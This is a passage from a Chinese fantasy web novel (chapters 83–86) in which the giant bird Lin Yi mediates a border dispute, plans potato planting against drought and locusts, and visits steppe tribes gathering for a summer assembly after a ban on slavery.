同样的,一个少女将婴儿留在父亲身边,回到部落,在她还有生育能力的时候重新参与夏秋集会,如果仍然是那个小圈子,知情人又恰好不在,和儿子之间发生回交的案例,是有过不少的。 父女母子之间尚且如此,更别提年龄接近的异父母的兄弟姐妹了。 所以各个部落都愿意参与大型的夏秋集会,人多了就可以远远避开小圈子的概率,而且人多热闹,牧民通常以家庭为单位离群索居,一个牧民往往愿意拿出一年大半积蓄去参加一次大部落的夏秋集会。 上头谈着事,乌苏悄悄地低着头,啃着一只油滋滋的肚包肉。 第83章 直到被王澈肘了肘,乌苏才茫然抬起头,嘴角还沾着油星,不知道这样严肃的场合为何肘他,总不可能提到他了吧哈哈! 苏赫阿那微叹一口气,没有说什么责备的话,而是又重复了刚才提到的事:“乌苏,这次夏秋集会,由你负责打理外务,你明白了吗?” 小王子手里啃了一半的肚包肉滚到了盘子里,发出当啷一声响,他下意识地指了指自己的鼻子,没有问出声,但整个脑袋写着疑问。不过王澈又肘了肘他,令他安心许多,见所有人都在看自己,他干巴巴点了点头。 又忽然发现这样不正式,他霍然起身从坐席上来到中央空地,原本想仿魏礼行个折身礼,再不济拳按心口来个雪域礼,结果因为吃得太饱,折身时打了一个响亮的嗝。 乌苏自己也被这个猝不及防的嗝吓到了,原本的折身礼往前一扑,成了个结结实实的大礼。也就是现在王帐不种土豆了,狼皮毯子又铺上了,不然得啃一嘴泥。 苏赫阿那镇定地道:“遇事多问问王先生,你今年十七岁,已经算是个大人了,应该试着多承担一些责任。” 乌苏本来想回应,一开口又是一个嗝,他自己连忙把嘴巴捂住了,有些无助地点点头。 到底是亲生父子,苏赫阿那也没有当着这么多人叫他持续丢脸的意思,抬了抬手,温声安抚道:“行了,喝点水缓一缓,很快就会好了,诸位见笑,幼子不曾担事。” 一个部落哪有见笑的,叶利诃刚想打个圆场,那边小王子回席路上又打了个嗝,他喝了口茶,缓解缓解自己想笑的情绪。 接下来就是一些简单的事务,雪域虽然很大,但毕竟地广人稀,不似魏朝那样复杂。出了王帐,乌苏就不肯离开王澈的轮椅边上了,满脸都是欲哭无泪,“先生,恁可要帮帮俺!” 王澈也叹气,“俺想不出还要咋个帮你,大汗讲了,恁去做事,然后不懂来问,总不能俺帮你把事情都做了。” 最后一句话才是重点,他干不来细碎的活计,也不肯承担任何职务和工作,要不然以他的才华,不可能在苏赫部待五六年时间,还只是个“王先生”,而同窗崔殊来了没有多久就混到“崔军师”的地步。 当然,目前没人告诉雪域人,魏朝没有军师这个官职,一般土匪寨子出主意的老二才被叫“军师”,不过这也没啥,苏赫部目前没有一个正常王部的官职划分,也没有上下权力的精密结构,只有比较淳朴的军职,如万骑千骑百骑。 挺好的,王澈很适应这个王子给他端早饭的蛮荒部落。 比部落更蛮荒的女主人正在搏击长空。 今日出门前,林一举起一桶牛奶吨吨吨,粗糙满足了一次飞行的热量,就兴冲冲地飞往辽东。她收到姜命来信,说第一批土豆成熟了,因为她给的数目挺多的,所以基本每个村里都能有几亩劣田分到了种子,至于后来的甘薯和苞米虽然还没长出来,但土豆的丰收已经足够把辽东子民喜到懵圈。 说来惭愧,林一把辽东忘记了好一段时间,这就是飞地的坏处了,平时不在眼前就很难想到,直到姜命派遣骑兵传书,林一才一拍脑袋,嘎! 下午的阳光比较好,天气已经暖热了,林一刚飞过辽西郡,就看到了那条异常显眼的长城根下,两拨人正在面红耳赤地吵架。 没错!辽东人又在偷偷摸摸修长城! 两拨人加起来人数快过千了,一批在城墙上头往底下啐唾沫,一批在城墙底下骂娘。骂娘,一种过于憎恶对方以致于要攻击到生产方的行为。 林一悄无声息地落下,竖起耳羽。 辽西那边怒骂道:“凭什么不让俺们过去?俺们走亲戚啊!就是雁门关也有个城门走,你们这些没爹没娘的玩意儿,修个死城墙呀!防贼也没这么防!” 上头辽东人更愤怒,大声嚷嚷:“走亲戚要三五百人一起走?别痴心妄想赖在我们辽东,前头有呆娃子放进了几批人了,赖着亲戚家不肯走啊,他们要吃上绝户了,没绝户都硬吃!” “对!图咱们的地不交税!有本事你们自己抗税去啊!别来祸害我们,谁跟你们是亲戚了?” “二猫村的张大户就是收留了十几个辽西亲戚,现在亲戚种上他的地了,撵不走!跟人佃户抢田种,成能恶心人的东西!” 城墙底下声浪也不小,为首的老人白发苍苍,面红耳赤,同上面的争辩道:“你们凭什么污人清白?我们自有地种,又没种你们家的,辽西的地比辽东强!交完三三税也能吃饱,我们就是来走亲戚的!” 说着,又倚老卖老起来,“苍天啦!鸟大王见证啊!我老头活了九十岁了,我见郡守都有椅子坐,老了老了想见见一家姊妹,平白要受你们这些毛小子的气哇!” 辽东小伙们面面相觑,有个心硬的还是向下喊道:“老人家真要走亲戚,干啥带这么多人,举村搬迁么?” 底下一时嗡嗡,有人在老人耳边说话,很明显是出主意的。 林一其实已经看明白了,城墙底下辽西人想过去,人家梯子都带好了,上头辽东人不让过去,这么吵着也不是办法。她扑棱扑棱翅膀落到两拨人近处,站在城墙往外凸出的烽火台上,清了清嗓子,嘎了一声,口吐人言道:“大家不要吵,听我说话……” 两拨人都瞪圆了眼睛看着她,辽西人在底下都看得清林一的巨大鸟形,为首的那个白发老人按住了慌乱的人群,“哎呀哎呀,都不要吵,这就是、就是鸟大王哇!” 林一挺起胸膛,胸羽蓬蓬的,很骄傲,“对,俺是鸟大王,老人家你可以叫俺老大,这是俺的字。” 她还很谦逊地点了点鸟头,老人家看起来更加激动了,老脸涨红,抖得很厉害。 辽东人更不中嘞,听鸟大王的事迹听了无数遍,有的人甚至亲眼见过林一放粮,也去听过林一演讲,只是那时林一还是个人模样,又说是魏朝的公主,后来郡守上任不让提公主那事了,但大家伙会联想啊! 不乏有脑瓜子灵光的年轻人能编会造的,起初是你想个梗我来个梗,然后是拼凑,最后是润笔,硬生生弄出了一套“凤鸟思凡配君王,君王薄幸求长生,凤鸟惨死洛阳宫,遗下一胎为公主,远嫁途中闻母事,公主拔剑斩喜服,父女情缘从此断”的恨海情天小故事。 反正现在辽东人都觉得魏帝坏透了,仅仅去年一年没交税,大家过得多满足!再想想自己前几十年要给郡守和皇帝交三三税,从小到大多少亲戚饿死的事,这代入感就更深了! 总之现在这一墙头的辽东人都激动万分,有个冲动的小伙子都跑到烽火台前了,然后下意识地停住步。 “嘎?”林一可不是怕人的鸟,她微微侧过鸟头看向这个好像要过来给她个拥抱的小伙子,流光溢彩的鸟瞳微微眯起。 小伙子讪讪地往后退。 无他,近距离面对一头(?)远古巨兽般的庞大生灵,瞻仰那伟岸的鸟躯,再对上那双摄人心魂的鸟目,实在是超出了人心脏的承受极限。 能不趴在地上已经是宣传工作做得好了。 底下辽西人离得远,就没有这个感受,为首的老人还努力爬梯子走了几步,对林一扯着嗓子喊:“鸟大王,鸟大王,老大!我老人家想来给恁磕头哇!求求恁今年保佑保佑辽西下几场雨吧,我们也是没法子了啊,今年一滴雨都没下,这日子眼见是过不下去了,辽东又不让进……唉!” 辽东人全都愤慨了,有这么在我们鸟大王面前上眼药的吗? 林一挺起的胸膛又缩了回去,实在有一些不好意思承认,她压根不会行云布雨,那是姜造化吹出去的牛逼,却要她来承受。爪子在烽火台上抓了抓,林一硬着鸟头皮说:“下雨……下雨这个事暂时没法办,不过去辽东也行,今年姜郡守是准备开一些荒地的,好像开荒还送牛什么的,他没说清楚……” 原本以为老人家会很失望,但九十岁的白发老人一下子从梯子上直起身子,声音洪亮地道:“儿郎们!鸟大王特赦,鸟大王允许咱们来辽东了!” 城墙底下的辽西人顿时发出欢呼雀跃的声音,不知哪个起了头,众人纷纷要跪拜,连老人都在下梯子,一副要加入进去的样子。 林一拍打翅膀,再次口吐人言,“不要这个,不要这个,哎呀!” 城墙上的辽东人都如梦初醒想要跪拜磕头。 她爪子内收,见劝不住,想了想,又拍打了一下翅膀,大声嘎嘎道:“俺们鸟人不喜欢跪拜行礼,俺们鸟的行礼方式是、是……举起一只手,挥几下。” 林一还做了个示范,一只翅膀抬起来,挥动几下,这其实是个打招呼的姿势。 辽东和辽西人迟疑着爬起身,举手朝着林一挥动。 林一终于受不住这种奇怪的气氛,勉强也挥了挥翅膀,然后装作低头理毛的样子,趁着众人不注意一拍翅膀飞走了。 真是羞鸟啊。 第84章 辽东郡目前的治所设在襄平城,其实不是治所设在哪里的问题,整个辽东摊在地图上,只有襄平适合做治所,一个大郡的郡城可能过个上千年都不会变化的。 还是那句话,一座城立在那儿必然有立在那儿的原因,襄平最初也是魏朝郡守的治所,后来克烈人打下辽东,放了一个叶护在这边,也是住襄平城,所以姜命来到辽东后很自然地定治所于襄平。 不过和前任克烈叶护托雷霸占世族家宅不同,姜命规规矩矩修缮了老旧的郡府,倒不是他人品多正直,襄平城的贵族早都无了,而是人家郡府官署的位置本来就是最好的。 郡府和襄平城一样处于一城之中心,四周交通发达,东街西巷,南路北道,距离守备大营也近,令出则直上官道没有任何阻隔。要不说野蛮人会糟践东西呢,只图世族宅子住得舒心,便把位置绝佳的官衙荒弃,早个千百年,这是请人专门规划出来的建衙地点。 短短五年时间,郡府官署破烂得不成样子,修缮也没掏多少钱,只是把要用的地方先清理出来,姜命上任没几个月,已经有乡民自发赶过来想为他修缮官衙,都被劝了回去。 林一落在大门口往里走,巡逻官兵不一定认识林一的脸,但绝对认识能口吐人言的巨鸟,连忙把她往里让。 前衙处理公务,后宅安置人丁,所以一进去就是个中庭,是只有府衙才有的格局,四周简单收拾了一下,往里是两侧廊房,堆积竹简,然后才是正堂。姜命本来在和主簿并法曹点看今岁案卷,冷不丁看到一个鸟头伸进来,愣了愣。 林一很少见到这种比较正规的工作场合,一时不知道是不是应该进来打扰,但她还没开口,姜命就已经振袖起身,一边又把在干活的两个青年拉过来,到门口相迎。 “主君请进,未料主君来得这样快,这两位是不久前我书信请来的同道好友。”姜命脸上带着温和的笑容,只是脚步明显不属于世族子弟的矜持,一左一右拉来好友,“叔云,长沐,这便是主君了,快来相见。” 两个青年都是二十四五年纪,被叫叔云的穿淡青色儒服,戴木冠,手里一支笔还没来得及放下,就被拉来面对一只巨鸟,额上见汗,俊脸发白,声音还勉强沉稳道:“见过林君,学生宋浮,字叔云,河间宋氏子弟,与造化师兄是一师之徒,学业、学业尚可……” 林一很鼓励地用翅尖拍打拍打宋叔云的肩膀,“嘎!造化的师弟,好好干!” 另一个长沐,靛蓝春衫洗得微白,袖口已经磨出毛边,和衣裳同色的发带简单束成一个发髻,微微迟疑,才开口道:“在下沈眠,字长沐,久闻林君圣名,乃是自来相投,暂为郡中法曹,司掌刑狱。” 林一也点了点鸟头,她的观察力很好,发现沈眠的家境远远差于宋浮,他的鞋看起来也很旧了,底子已经磨得平秃秃的,只是很朴素地维持着一点体面。 但她没说破,也伸出翅尖轻轻拍了拍沈眠,几根鸟羽飞落,“你肯定很聪明的,要细心做事嘎!” 沈眠连忙点头。 介绍完两位同学,姜命把林一让到主位上去,这才提起自己传书请林一过来的目的,“主君,如今土豆丰收,许多乡民想要二次播种,土豆耐寒又耐旱,原本根据清仪所言,此物不耐虫害疾病,不应该占据良田,但是今年情况十分特殊,冬季少雪,开春无雨,如今近夏除我辽东之外各地无雨,多种植土豆可以预防旱灾,事情重大,是以想请主君过来商议。” 林一的鸟形不大适合坐座位,她太大太占地方了,两个鸟爪很憋屈地缩在椅面上,但是她可以把身子往里收,收得扁扁小小的,看起来又显出几分非人感,不过姜命脸色不变,又说道:“此外,郡中一些老农说,在翻田时发现了异常多的蝗虫卵……” 这时他眉心蹙起,表情非常凝重且不忍,但林一没听懂,这个世界的虫子小小的,虫卵比较多就多呗,为什么露出这样的表情呢? 其实鸟脸上也是有表情的,林一的脑袋虽然和鸡头很像,但是她的眼睛上方有眉羽,眼周肌肉分布也和鸡头不一样,微微侧头眯起眼睛的姿态,很容易让人看出疑问的表情。 姜命便解释道:“蝗虫成灾,会群起而食田粮,大的蝗灾能造成颗粒无收。干旱之年,蝗虫产卵变多,其实辽东有大河,本不是蝗灾易生之地,但就连辽东都翻出许多蝗虫卵,其他各地实在难以想象。” 林一一下子坐正了,“蝗虫吃粮食?” 姜命点头,又解释道:“虫卵孵化成虫,若那时地里庄稼还未成熟,蝗虫群至食空草叶粮种,再好一些,人和蝗虫抢收成……每逢旱灾就生蝗,所以土豆也许是今年的救灾之物。” 根茎植物不受蝗虫侵扰,蝗虫最多吃掉长在地上的枝叶,但只要土豆在成熟期,枝叶的损毁便不妨碍什么。按照王澈的计划,土豆就不是一种可以当做主食植物单一种植的玩意儿,可今年自有国情在此。 林一有点凝重地点点头,对姜命说:“按你说的做吧,现在已经春耕过了,你要叫人家把地里秧苗拔掉再种土豆吗?” 姜命摇头,“是在秧苗旁种上土豆,此为套种,或许两种作物会争地里的养分,但这实在是不得已之法。” 谈完事情,林一心里也跟着沉重起来,她和姜命一起去翻看了田地里的蝗虫卵,出门时挺干净的一只大鸟,扒拉得灰头土脸的,这是为了把这东西的模样记下。 宋浮和沈眠两人跟在后面,偶尔说些小话,但其实两人不怎么熟。宋浮是世族子弟,沈眠是寒门出身,传到他父亲这代,是靠着给人做厨夫养活一家的,寒门里头的下下等,而他幼年好学,靠着聪慧和运气拜了个好师门,就一直是紧巴巴过着日子,和所有人都保持距离。 与世家子交际,是要花钱的,他什么都请不起,也绝不肯去别人做跟班狗腿子,便这么孤僻地长大成人了。 宋浮从前也不大和沈眠说话,但两人一起来了辽东郡,都有些不得已的因由,亲近一些也是正常的。 “我的天,原来不是造化师兄胡乱编的,是真的有这么一位鸟大王!我一直以为是什么造势之法。”宋浮声音压得很低,又很雀跃地在沈眠边上说,“口吐人言!她还那么大、那么大!看起来可以吞掉一个人。” 沈眠听不惯这话,又冷又硬地开口,“鸟能人言很正常,孙师从前养的那只鹦鹉还会唱诗经,那么小的一只鹦鹉能记百二十字,何况林君这样伟岸。另外注意你的言辞,林君不食人,她只食高洁纯净之物……” 话没说完,就看到前面那只大鸟蹲下来,鸟喙在地上啄了个什么东西进嘴巴,沈眠眼力比宋浮好得多,一眼看见那是一排棕黄扁长的蝗虫卵。 他的瞳孔顿时地震起来。 就、就这样和村里鸡鸭一样,蹲地上啄虫卵吃吗? 宋浮没注意呢,还点了点头,“啊对对对,鹦鹉会人言那么多年了,也没听人说鹦鹉不正常的,造化师兄借我的那筐山海经旧简比我从前看的齐全很多!里面也写了鸟人国,可能是隐居很久的族群,我仿佛听人说过,人以前还是有尾巴的呢。” 沈眠干巴巴地啊了一声,算是回应。 今岁洛都也是滴雨未下,贵人们却很少担忧这事,好不容易盼来一场小雨,不过略略下湿城外一片地皮,幸有一道明显的彩虹落下。魏帝萧宏马上支棱起来,以天降祥兆为由册封了他的第三任太子,七皇子萧碧,托皇帝亲爹的福,这场册封仪式进行得比较寒碜。 毕竟萧宏已经献祭了两个太子,分别是他的庶长和嫡长两位皇子,借此搞掉了两个顶级大世族并连带三十几家中小世族,吃得满嘴流油不说,也养出了一些天子君威。 毕竟哪个世族也不想被这样阴谋阳谋地捣鼓,太子萧碧上位,他的妻家已经哭成一团,另外朝中王公大臣也都紧了紧身上的皮,很怕被派去教导太子政务,司马司徒司空这三位大佬更是愁得酌金馔玉都吃不香了。 但人家这回是真心的,萧碧虽然年少,但无论是人品长相还是心机手段都随了他这个父亲,魏帝把众多皇子翻来覆去扒拉一遍,还是觉得这个老七最出挑。 册封仪式上,太子萧碧再三感谢天公作美,手持祭文朗声阅读:“今幸有上苍庇佑,先祖垂慈,沐我天恩,倍加雨露,望我子民,风调雨顺……” 仪式进行得非常完美,就是魏帝上去收尾的时候,台子忽然晃了一下,老头一头栽了下去。旁边太监反应快,马上趴到地上想要接住,也确实接住了,但是魏帝有些圆润地从太监背上弹了弹,只是被缓冲了一下,还是滚落高台。 别误会,老头没逝,就是有些灰头土脸地从地上爬了起来。 啊这,今天本来就没有吉兆给恁的。 第85章 只是走了走襄平周边的村落,林一就翻到许多蝗虫卵,不知道是不是因为鸟身的缘故,她感觉蝗虫卵挺好吃,也有一些成虫,能飞但好抓,吃起来脆脆的,有一点点爆浆,口味也很好。这些不是重点,重点是她觉得这些虫子很适合作为鸟食。 由己及鸟,林一感觉其他的鸟类也应该会喜欢吃蝗虫,往年也许可能是因为蝗虫太多,而得到消息的鸟太少,无法形成针对性打击。 人好像是不吃蝗虫的,林一只是蹲着啄食了一会儿,无论是地里的老农还是跟来的官员,看起来都快要碎了。 这样她对未来可能到来的蝗灾有一点想法,只是还没有试验过,暂时不能和姜命讲,别叫他空欢喜一场,或者抱太多希望然后不好好种土豆了。 总之在吃了一嘴蝗虫卵后,高洁的鸟大王简单擦了擦喙上的泥沙,又交代了姜命几句,准备让雪域那边再送一批土豆来,也不知道够不够数。 临走前,林一又交代:“其实现在多翻翻地里,把蝗虫卵找出来踩死也行。” 姜命点头,又有些叹息,哪有这么容易呢。 沿原路返回雪域,没飞多久先见到呼兰部落的草海,他们除了得到这一片草海,还得到了许多克烈部的人口和牛羊。其实现在苏赫部落还没有管其他部落蓄奴这种事,只是塔塔尔部那边不让蓄奴了,连塔塔尔部那边也不是所有奴隶都欢喜,好多人半辈子下来习惯服侍人就有饭吃,对独立生活有些茫然,当然这多半发生在混得比较好的奴隶中。 呼兰部落没有把原克烈人当成奴隶用,甚至还把划为战利品的牛羊也挨家挨户还了回去,呼兰部落过得穷不是因为牛羊少,而是夹在克烈部的地盘上,没有足够的草场放牧。当然怎么混到当初那个地步的,还要再往祖先那儿追溯,算了算了不深究。 林一俯冲落地,停在呼兰部落的黑帐区里。 呼兰霍兰已经回部落有一段时间了,闻讯马上从帐子里大步走出,他看起来已经不再更瘦了,维持住威猛高大的身形之外,刚好把脸上多余的地方瘦出模样来了,只是开口还是言简意赅,“可敦请进!马上烤羊吃,还有骆驼,马……” 他的外置嘴巴,两名族老怕他说话太简略,马上解释道:“可敦,马是老死的战马,都是新死不久的,我们部落从来不杀马,骆驼是新买不久,摔破了肚子,不是特意靡费。” 林一很通情达理地点点鸟头,“没关系,我飞累了,来吃一点。” 呼兰霍兰很满足地看着林一坐在露天篝火旁撕扯烤骆驼,她看起来很喜欢肥中带瘦的肉,羊肉确实很好吃,但在雪域哪里都能吃到,他总想叫她吃些不一样的,烤骆驼完美符合这一点。其实驴肉也好吃,可是呼兰部落的驴子都是用来拉货的青年驴,暂时没有刚好跌死的。 林一一天只喝了一桶牛奶和少少的蝗虫,这会儿是真饿了,一只鸟硬生生吃了三分之一个骆驼,肚子撑得圆鼓鼓,好在消化得快。 吃烤肉时,林一的话也不少,主要是和族老聊,“风家的建房队来过了吗?怎么没看到起砖窑?” 一名女族老便道:“没来呢,托了商队带话,说这个月底到,让我们先挑好地段,可以动工挖些泥沙了,这两天正忙活这事呢。” 把一大块肥中瘦肉吞进去,林一又说:“房子也要挑好地方的,最好周围没什么障碍物,家家户户围个大院子,然后冬天的时候建大棚子,既可以放牛羊,也能房前屋后种点土豆吃。” 又有族老开口问,“可敦啊,棚子我们知道,大院子是怎么围的?这是魏人的建筑吗?” 林一便用翅尖给他们比划起来,她羽毛多,动起来经常羽毛乱飞,呼兰霍兰眼疾手快,马上伸手把要落到篝火里的几根羽毛抄进手里,然后鬼鬼祟祟的趁着没人看他,把羽毛揣怀里了。 心思细腻的女族老都麻爪了,好好一个族长,自从开了情窍,偷感渐渐地重了起来。 她有心想带着霍兰说话,笑着肘停还要和林一讨论大院子问题的族老,抢话说道:“可敦啊,今年的夏秋集会应该是王部来举办了吧?我们部落好多小伙子小姑娘还没个着落!往年族长都是不去的,今年要带一些人过去了,他就纯去比武。我敢说,所有落雪的地方养出来的青壮,没有一个比得上我们霍兰的。” 林一不大惊奇,反而点了点头,她看过霍兰在战场上的样子,善用长兵,身板威猛但灵活机动,能避箭矢,眼力一流。就是用马比较费,一个时辰换三匹马,当然这缺点的来源在她自己身上,人家本来是高手配马王的,现在大肥在她睡帐门口的马棚里嚼草料呢。 女族老见林一点头,顿时大喜,一回头看到霍兰把脸低下了,硬是一声都不吭。 她再接再厉,继续说道:“说起来我们霍兰二十岁了,一直都没心上人呢,从前不知道多少好姑娘恋慕他……” “不、不!喜欢过姑娘。”霍兰抬起头,打断女族老的话,又怕这话带歧义,进一步解释道:“十三岁,喜欢过魏朝商队的一个姑娘,喜欢过的。” 几名族老齐齐倒吸一口凉气,把篝火都吸得摇晃了一下。这这这这是可以当着现在心仪姑娘的面说的吗? 林一反倒有些感兴趣地问:“十三岁就喜欢姑娘呀?我记得你们人、你们这儿应该是十七八岁参加集会什么的,有的十五六去被嫌小了。” 是的,稍微有些反常识了,其实魏帝和亲的几个公主没有一个到正常婚嫁年龄,属于老头吃相难看。越是世族越是会把婚期延后一些,主体风气是男子二十而议婚,女子十八而出阁。 实际上除了两家迫切需要马上联姻,或者从小定了婚约,还有世族之宗子需要提前挑选宗妇,大部分的世族子弟会在二十到三十左右成婚,女子在十八到二十五之间,再往上才是大龄难婚。 雪域比较宽泛一些,但总体也是十七八开始参加集会,跟着家里年长的兄姐混个几年,然后定下婚事,不少人一辈子都不成婚,只在夏秋时参加集会。 霍兰看着凑过来的鸟头,很奇异的,他一点都不觉得怕,反而对上那五彩流光的鸟瞳,非常老实地交代起来,“那年我已经比很多叔伯高了,那个姐姐新寡不久,想要找人陪伴,我解释了,她觉得我很会说笑,然后送了我一朵布做的花。我没有答应陪她,后来她走了之后我一直带着布花,阿父就说我开了窍。” 女族老想找补一下,连忙说道:“嗨呀!老族长胡说的,他从年轻起就一直打光棍,他懂个屁,那魏朝娘子就爱我们呼兰勇士,撩拨这个撩拨那个的,最后带走两个痴心小伙,和咱们霍兰再没干系的了。” 霍兰微微摇头,仍旧看着林一的鸟瞳,很老实地说:“虽然不一样,但是一样的。” 这话林一就没听懂了,族老也没有给林一翻译的意思,然后霍兰那边就没有了下文,林一没放在心上,继续大吃大喝起来。 等巨鸟拍翅离去,霍兰躺在篝火旁,看着雪域的星空,按住了心口。 十三岁时的悸动是很清淡的,像吃了一片花瓣,淡淡的香,二十岁的初见是入帐抢劫一样的霸道浓烈,*像把他按在地上开膛破肚,溅了一地血。那天他有些厌烦地从帐子里走出来,压抑着想把人从马上抱摔下来的怒气,然后就见到领兵在前的高大女子,骑在马上微微俯身看他的模样。 若没有悸动过,怎么会一眼就明白呢? 回到苏赫部已经是下半夜了,林一走到马棚边上时,看到几个值夜亲卫在烤土豆吃,过去蹭了两个。土豆都是分配好的,她拿走了俩,剩下的就不够分了,亲卫们也不恼,把土豆掰开按大小均匀分配起来。 吃着烤土豆进了睡帐,脚边很快有猫蹭了过来,林一往前走,猫就在她脚背上流动。猫喵喵地很是亲热,也把睡眠格外轻的苏赫阿那惊醒了,林一直接化为人身扑进被褥里,抱住了他啾啾地亲。 亲完,又给他一个土豆,“阿克他们在烤土豆吃,我特意给你挑了一个烤得最好,最圆乎的!” 苏赫阿那坐起身,剥开外层烤得乌黑的皮,露出里面黄芯,笑说道:“那他们没说,我给你备了一桶羊肉在帐子里?” 林一飞了一会儿,肚里已经消化得差不多,虽然不饿,但立刻支棱起来,鸟大,吃得下!马上问道:“在哪里……” 问都没问完,就已经闻到了气味,林一赤脚下了床铺,去把一大铁桶的羊肉端起来。桶盖打开,是连汤带水的炖煮羊肉,全是肥嫩的肋排,汤里放了香料,用皮子裹着桶身保温,这会儿下半夜了还热乎着,林一抱着桶就吃喝起来。 苏赫阿那就坐在床沿吃一口烤土豆,看一眼吃得香甜的大鸟,忍不住笑又喟叹一声。 第86章 入夏之后,雪域全面青绿起来,从林一的视角来看,除了塔塔尔部靠近雪山,还有一些白雪覆盖之外,偌大的雪域就像是突然成了一片生机勃勃的草原。 随着汪古商人的脚步带来夏秋集会的消息,住得比较偏远的部落甚至得到消息就开始准备出发,离得近的还有时间现制干粮。一个部落出门的基本上都是年轻的姑娘小伙,但带队的必须是老猎人或者萨满,一个部落青壮就这么多,失途回不来就是天大的事。 当然,放在从前也许还要加一条,担心被贩奴队诱骗,今年就不一样了,苏赫王部发下禁奴令,一年内的新奴直接脱离奴隶身份,一年以上的奴隶不止脱离奴隶身份,还要按工作年长获得一笔报酬,如有杀害,奸辱,身体毁伤等,不举自然是不究,但自首减一级,倘若事后被举报或者查出,罪又要加一等。 雪域人不是什么魔鬼,但也不是民风淳朴,以青年奴隶为例,一个年轻男子的价格在两头牛上下浮动,羊是雪域的小额财富单位,换算成羊价则是三五十只羊。女奴要看品相,价格差不多在三四头牛左右,最贵的女奴不会超过一百只羊。倘若是魏朝贵女,那价格就不是用牛羊计算了,祝若嫣第一次被贩卖,是百金之价。 高价买来的奴隶是用来干活或者暖床的,打死打残只可能是贵族的花活,大部分部落都有奴隶,待遇也不好,就和魏朝地主家的长工一样。还是那句话,萨满搞祭祀杀奴隶不是在损坏部落财产,也很少会有青年奴隶被拉去祭祀,其主要目的是将年老奴隶杀死,避免损耗部落口粮。对自己人稍好一点,也是撵去荒原等死,就这么个严酷环境诞生的严酷规则。 魏朝一般不从雪域买奴隶,但会赎买,通常用绢匹来赎回族人或者侍从,绢匹在雪域更是高价,一匹漂亮的布能换一头牛。 这样高额的利润自然催生出贩奴队,不光是雪域人在贩卖奴隶,连魏朝人自己都在贩卖自己人,比如崔殊那一行世族男女,就是被流放到边关后,被守军睁一只眼闭一只眼让贩奴队掠走的,报酬自然很高。 如今禁奴令出,报酬很高的换成了贩奴队,举报有赏,抓来了人验证无误后更是有毡帐,兵器,盔甲等贵重物品奖励,这就不是牛羊的事了啊! 总之现在雪域很安全,许多小部落还是按往年惯例凑足千人同行,主要是怕遇到了贩奴队追不上撵不上,错失了一大笔富贵。 苍狼河畔,两拨正在饮水的部落队伍相遇,一方是萨满带队,另一方则是族长带队,萨满带队的部落叫红狼部,那萨满四十来岁,一身狼皮裙装,头戴鹿角帽,虽然也是黑红脸,但看起来英气勃勃很是漂亮,另一方的族长叫骨得,来自雪域最西部的札答阑部落,拢共也就带了五百多个青年男女。 骨得一看那女萨满,眼睛就亮了起来,打马过去询问:“是哪里的朋友哇?也是要去集会的吧?咱们人数都少,不如结伴走啊!” 红狼萨满定睛看了看骨得,又看向他身后族人,雪域人看人就看一个壮不壮实,札答阑部食物来源丰富,青年男女个个高壮脸色红润,一看就知道吃的不错,红狼萨满微微点头,等两方人马从苍狼河汲水离去,骨得和红狼萨满变成了并马而行。 “我们是靠辽东那头的,提前得到消息就赶过来了,路上抓了一支贩奴队,他们现在不在雪域中部跑了,还想从我们这儿往魏朝跑,这给他抓个正着!”骨得很热情地说着。 “倒不是图大汗那些奖励,主要是儿郎们一片真心啊,往年就抓了也没用,今年还能换点啥。” 红狼萨满有些沉默寡言,但还是礼貌地回应道:“我们就在苍狼河下游住,往年是给克烈部养马的。” 骨得微微一僵,那你们还敢去参加夏秋集会? 红狼萨满看出他的惊惧,又补充道:“部落三万人,去了犯事的,现下一万八千人口,都很老实了,被俘的人据说是要去参加建房队,我们都挺高兴的。” 毕竟是学上手艺了! 过了苍狼河,去苏赫王部的队伍渐渐多了起来,大多是千人一行,也有比较多的,骨得远远地见到一片格外高壮的骑兵,呼兰旗帜猎猎,马上就对红狼萨满吹嘘道:“那是我的侄儿,呼兰霍兰,他一向很有名气的吧?” 红狼萨满也有些惊讶,“是啊,算是近年来雪域第一勇士了,我没见过,但是听闻有不少人上呼兰部落挑战,都输了,传闻不是说他身高九尺,胖、壮若山岳吗?” 骨得摇头晃脑,有些得意地说:“从前心里不挂事呗,有什么吃什么,他们呼兰部别看穷,不亏嘴,吃得还蛮好,他也就愿意胖乎着,后来呀他……” 他凑近红狼萨满耳边说话,嘀嘀咕咕的,像有什么天大的秘密。 但是红狼萨满听了感觉再正常不过了,依附大汗的妃嫔和男人睡觉叫通奸,是很朴素的逻辑,你吃人家的喝人家的,偷情就是不道义的。但若是参与部落政务的可敦,私底下有些个情人那不是很正常,有权势的人不分男女,就是叫人向往的啊。 她作为部落中的萨满,也有正式的丈夫,可是若有合眼的年轻人过来自荐,她的丈夫甚至会帮她打理床铺。 说话间呼兰部落行得越发远了,他们部族一看就是平时养骑兵的,骑术一流,骨得也没有要追上去的意思,大家目的地都是一样的,非要赶在一块儿才奇怪。 又行三五天路程,远远地感觉水草格外丰美,草叶都比别处更加嫩绿,这就踏上了苏赫部的黄金草场。在雪域的歌谣里,这里的草给牛羊吃了,一年都不会生病,不少人下马就在那儿割草了,准备晒干带回去一些,算是个好意头。 苏赫平原上,今年比往年更早地铺开了摊子,各种比武会场已经拉绳圈地,比去年还多个织布会场,是细长的绕着各处比武高台来的,都有草垫子,给姑娘家一个坐下来搓搓羊毛织织布,是个可以一边聊天一边看男人的场地。 “往年好多女孩儿头回参加,不好意思看比武,恁得把青年男女撮合到一起,这个场地是合适的,信俺的。”王澈坐在轮椅上,只动口不动手,乌苏忙活来去,光是指挥干活就累出了一身汗。 王澈喝了一口劣茶,习惯性地呸呸出茶渣子,是专门呸在帕子上的,他喝过的茶杯也要自己收在轮椅旁边的小抽屉里,无他,实在是怕了。 越到夏秋,向他表白的姑娘越多,里面甚至还会掺杂一些高壮的雪域男子,他的私人用品更是频繁失窃,林一很同情他,安排了几个人日夜轮班守着他。 乌苏擦了擦额头上的汗,远远地看到苏赫忽律像是游魂一样从帐子里出来,连忙挥手,“二哥!帮我去议事大帐问问阿父……” 苏赫忽律瞅了他一眼,又游魂似的离开了。 王澈忽然说道:“明天就要杀拔都了,恁这几天别去招二王子,就他那个脑壳,俺不知道他能做出啥事来。” 乌苏疑惑,“一列亲卫把守着呢,二哥能做什么?” 王澈想了想,比划道:“有可能把恁抓住,换人质,或者不抓恁,拿刀架在自己脖子上要挟大汗放人。” “先生,你不要把我当成傻子哄。”乌苏有些尴尬地说,“二哥也没有那么蠢……” 